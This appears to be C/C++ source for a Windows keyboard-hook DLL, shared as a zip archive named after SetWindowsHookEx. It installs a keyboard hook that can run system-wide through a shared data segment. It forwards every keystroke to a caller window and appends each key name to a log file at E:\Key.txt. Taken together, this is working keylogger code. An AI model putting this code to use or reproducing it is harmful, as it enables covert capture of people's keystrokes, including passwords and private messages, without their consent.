hook_keyboard.zip_SetWindowsHookEx

#include <stdio.h> #include <afx.h> #include <windows.h> #define KEYHOOKLIB_EXPORTS #include "hook_keyboard_dll.h" #pragma data_seg("YCIShare") HWND g_hWndCaller = NULL; HHOOK g_hHook = NULL; #pragma data_seg() HMODULE WINAPI ModuleFromAddress(PVOID pv) { MEMORY_BASIC_INFORMATION mbi; if (::VirtualQuery(pv,&mbi,sizeof(mbi)) != 0) { return (HMODULE)mbi.AllocationBase; } else { return NULL; } } LRESULT CALLBACK KeyHookProc(int nCode,WPARAM wParam,LPARAM lParam) { if (nCode<0||nCode==HC_NOREMOVE) { return ::CallNextHookEx(g_hHook,nCode,wParam,lParam); } if (lParam & 0x40000000) { return ::CallNextHookEx(g_hHook,nCode,wParam,lParam); } ::PostMessage(g_hWndCaller,HM_KEY,wParam,lParam); char str[20]; FILE *KeyFile; ::GetKeyNameText(lParam,str,20); if (KeyFile = fopen("E:\\Key.txt","a")) { fputs(str,KeyFile); fputs(" ",KeyFile); fclose(KeyFile); } return ::CallNextHookEx(g_hHook,nCode,wParam,lParam); } BOOL WINAPI SetKeyHooK(BOOL bInstall,DWORD dwThreadId ,HWND hWndCaller) { BOOL bOk; g_hWndCaller = hWndCaller; if (bInstall) { g_hHook = ::SetWindowsHookEx(WH_KEYBOARD,KeyHookProc,ModuleFromAddress(KeyHookProc),dwThreadId); bOk = (g_hHook != NULL); } else { bOk = ::UnhookWindowsHookEx(g_hHook); g_hHook = NULL; } return bOk; } BOOL WINAPI StopKeyHook() { return ::UnhookWindowsHookEx(g_hHook); }